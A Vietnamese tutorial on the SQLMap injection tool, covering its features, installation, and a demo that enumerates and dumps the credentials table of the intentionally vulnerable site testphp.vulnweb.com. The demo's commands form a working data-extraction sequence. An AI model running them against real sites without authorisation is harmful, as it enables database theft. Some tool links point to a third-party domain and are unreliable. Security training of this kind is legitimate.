Trước khi khám phá SQLMap, điều quan trọng là nắm vững kiến thức về lỗ hổng SQL Injection. Chúng ta đã cùng tìm hiểu về các khái niệm cơ bản và các kiểu tấn công SQL Injection trong bài viết này: sentayho.com.vn/p/sql-injection-la-gi-co-bao-nhieu-kieu-tan-cong-sql-injection-m68Z0QnMlkG. Bài viết này sẽ đi sâu vào SQLMap, một công cụ mạnh mẽ giúp bạn phát hiện và khai thác các lỗ hổng này một cách hiệu quả. Chúng ta sẽ cùng nhau tìm hiểu về các tính năng, cách cài đặt và thực hiện một demo đơn giản để làm quen với công cụ này.
Mục Lục
SQLMap Là Gì?
SQLMap là một công cụ kiểm thử bảo mật mã nguồn mở, tự động hóa quá trình phát hiện và khai thác các lỗ hổng SQL Injection trong ứng dụng web. Được đánh giá là công cụ hàng đầu trong lĩnh vực này, SQLMap được các chuyên gia bảo mật và ethical hacker sử dụng rộng rãi. Với người dùng Kali Linux, SQLMap đã được tích hợp sẵn. Còn đối với Windows, bạn cần cài đặt thêm Python và SQLMap để sử dụng.
SQLMap không chỉ đơn thuần là một công cụ quét lỗ hổng, nó còn là một công cụ khai thác mạnh mẽ, cho phép bạn tương tác trực tiếp với cơ sở dữ liệu, thu thập thông tin và thậm chí là thực thi các lệnh hệ thống.
Tính Năng Nổi Bật Của SQLMap
SQLMap sở hữu một loạt các tính năng mạnh mẽ, giúp nó trở thành một công cụ không thể thiếu trong bộ công cụ của bất kỳ chuyên gia bảo mật nào:
- Hỗ trợ đa dạng hệ quản trị cơ sở dữ liệu (CSDL): MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, MemSQL, TiDB, CockroachDB,…
- Hỗ trợ đầy đủ các kỹ thuật tấn công SQL Injection: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries và out-of-band. Điều này đảm bảo SQLMap có thể đối phó với nhiều loại lỗ hổng khác nhau.
- Kết nối trực tiếp với CSDL: Khả năng này cho phép SQLMap bỏ qua lớp ứng dụng web và tương tác trực tiếp với CSDL, giúp khai thác các lỗ hổng tiềm ẩn sâu bên trong.
- Liệt kê thông tin: Dễ dàng liệt kê người dùng, mật khẩu băm, đặc quyền, vai trò, cơ sở dữ liệu, bảng và cột. Đây là bước quan trọng để thu thập thông tin về hệ thống mục tiêu.
- Tự động nhận dạng và bẻ khóa mật khẩu: SQLMap có thể tự động nhận dạng các định dạng băm mật khẩu và sử dụng các phương pháp tấn công từ điển để bẻ khóa chúng.
- Trích xuất dữ liệu: Cho phép trích xuất toàn bộ bảng CSDL, một loạt các mục hoặc các cột cụ thể theo lựa chọn của người dùng.
- Tìm kiếm thông tin: Khả năng tìm kiếm tên CSDL cụ thể, các bảng cụ thể trên tất cả các CSDL hoặc các cột cụ thể trên tất cả các bảng của CSDL.
- Tải xuống và tải lên tệp: Khi phần mềm CSDL là MySQL, PostgreSQL hoặc Microsoft SQL Server, SQLMap có thể tải xuống và tải lên bất kỳ tệp nào từ máy chủ CSDL bên dưới hệ thống tệp.
- Thực thi lệnh hệ thống: Thực hiện các lệnh tùy ý và truy xuất đầu ra tiêu chuẩn của chúng trên máy chủ CSDL (MySQL, PostgreSQL hoặc Microsoft SQL Server).
Hướng Dẫn Cài Đặt SQLMap
Trên Windows
Bước 1: Tải file cài đặt Python và SQLMap
- Link tải Python: Tìm phiên bản Python 2.7 phù hợp trên trang chủ Python (lưu ý SQLMap hoạt động tốt nhất với Python 2.7).
- Link tải SQLMap: sentayho.com.vn/sqlmapproject/sqlmap/zipball/master hoặc tải trực tiếp từ kho lưu trữ GitHub của SQLMap: https://github.com/sqlmapproject/sqlmap
Bước 2: Cài đặt Python
-
Mở file cài đặt Python đã tải về.
-
Chọn “Install for all users” và click “Next”.
-
Chọn thư mục cài đặt (mặc định là
C:Python27
). -
Đợi quá trình cài đặt hoàn tất và click “Finish”.
Bước 3: Cài đặt SQLMap
- Giải nén file SQLMap vừa tải về.
- Sao chép toàn bộ thư mục
sqlmap
vào đường dẫnC:Python27
.
Bước 4: Chạy SQLMap
- Mở Command Prompt (cmd).
- Điều hướng đến thư mục
C:Python27sqlmap
bằng lệnhcd C:Python27sqlmap
. - Gõ lệnh
python sqlmap.py
để khởi chạy SQLMap.
Bây giờ bạn đã có thể sử dụng SQLMap trên Windows.
Trên Kali Linux
SQLMap đã được cài đặt sẵn trong Kali Linux.
Để sử dụng, bạn có thể vào mục Applications -> Exploitation Tools -> SQLMap
hoặc mở Terminal và gõ lệnh sqlmap
.
Các Câu Lệnh Cơ Bản Trong SQLMap
- Trên Windows:
python sqlmap.py -u [url mục tiêu] [tùy chọn]
- Trên Kali Linux:
sqlmap -u [url mục tiêu] [tùy chọn]
Ví dụ: sqlmap -u "http://example.com/article.php?id=1"
Danh sách đầy đủ các tùy chọn của SQLMap rất phong phú. Bạn có thể tham khảo chi tiết tại: sentayho.com.vn/sqlmapproject/sqlmap/wiki/Usage hoặc trang chủ của dự án: https://github.com/sqlmapproject/sqlmap/wiki/Usage.
Demo Sử Dụng SQLMap
Trong phần demo này, chúng ta sẽ thử tìm cách khai thác thông tin đăng nhập từ trang web http://testphp.vulnweb.com/ (Đây là trang web được tạo ra để thử nghiệm các lỗ hổng bảo mật, bạn có thể thoải mái thực hành).
Bước 1: Phát hiện lỗ hổng SQL Injection
Mở terminal và gõ lệnh sau:
sqlmap -u "http://testphp.vulnweb.com/search.php?test=query"
SQLMap sẽ tự động kiểm tra và xác định xem URL mục tiêu có tồn tại lỗ hổng SQL Injection hay không.
Bước 2: Liệt kê các cơ sở dữ liệu
Sau khi xác định website có lỗ hổng, ta tiến hành liệt kê các cơ sở dữ liệu bằng lệnh:
sqlmap -u "http://testphp.vulnweb.com/search.php?test=query" --dbs
--dbs
là tùy chọn để liệt kê các cơ sở dữ liệu của website.
Bước 3: Liệt kê các bảng trong cơ sở dữ liệu
Giả sử chúng ta đã xác định được tên cơ sở dữ liệu là acuart
. Ta sẽ liệt kê các bảng trong cơ sở dữ liệu này bằng lệnh:
sqlmap -u "http://testphp.vulnweb.com/search.php?test=query" --tables -D acuart
--tables
để liệt kê tất cả các bảng có trong cơ sở dữ liệu.-D acuart
chỉ định tên cơ sở dữ liệu cần liệt kê bảng.
Bước 4: Xác định tên các cột trong bảng
Ta thấy bảng users
có vẻ chứa thông tin đăng nhập, nên ta sử dụng lệnh sau để xác định tên các cột trong bảng users
:
sqlmap -u "http://testphp.vulnweb.com/search.php?test=query" --columns -D acuart -T users
--columns
để liệt kê ra các cột trong bảng.-D acuart
chỉ định tên cơ sở dữ liệu.-T users
chỉ định tên bảng cần liệt kê các cột.
Bước 5: Lấy dữ liệu từ bảng
Sau khi xác định được các cột uname
và pass
có thể chứa tên tài khoản và mật khẩu, ta sử dụng lệnh sau để lấy dữ liệu từ bảng users
:
sqlmap -u "http://testphp.vulnweb.com/search.php?test=query" --dump -D acuart -T users
--dump
để lấy ra các bản ghi của bảng.
Kết quả trả về cho thấy bảng users
có một bản ghi chứa thông tin username và password là "test"
, "test"
. Với thông tin này, chúng ta có thể đăng nhập vào hệ thống.
Kết Luận
SQLMap là một công cụ mạnh mẽ và linh hoạt, cho phép bạn tự động hóa quá trình phát hiện và khai thác các lỗ hổng SQL Injection. Tuy nhiên, hãy nhớ rằng việc sử dụng SQLMap (hoặc bất kỳ công cụ kiểm thử bảo mật nào) cần tuân thủ pháp luật và đạo đức nghề nghiệp. Chỉ sử dụng SQLMap trên các hệ thống mà bạn được phép kiểm tra. Việc sử dụng trái phép có thể dẫn đến hậu quả pháp lý nghiêm trọng.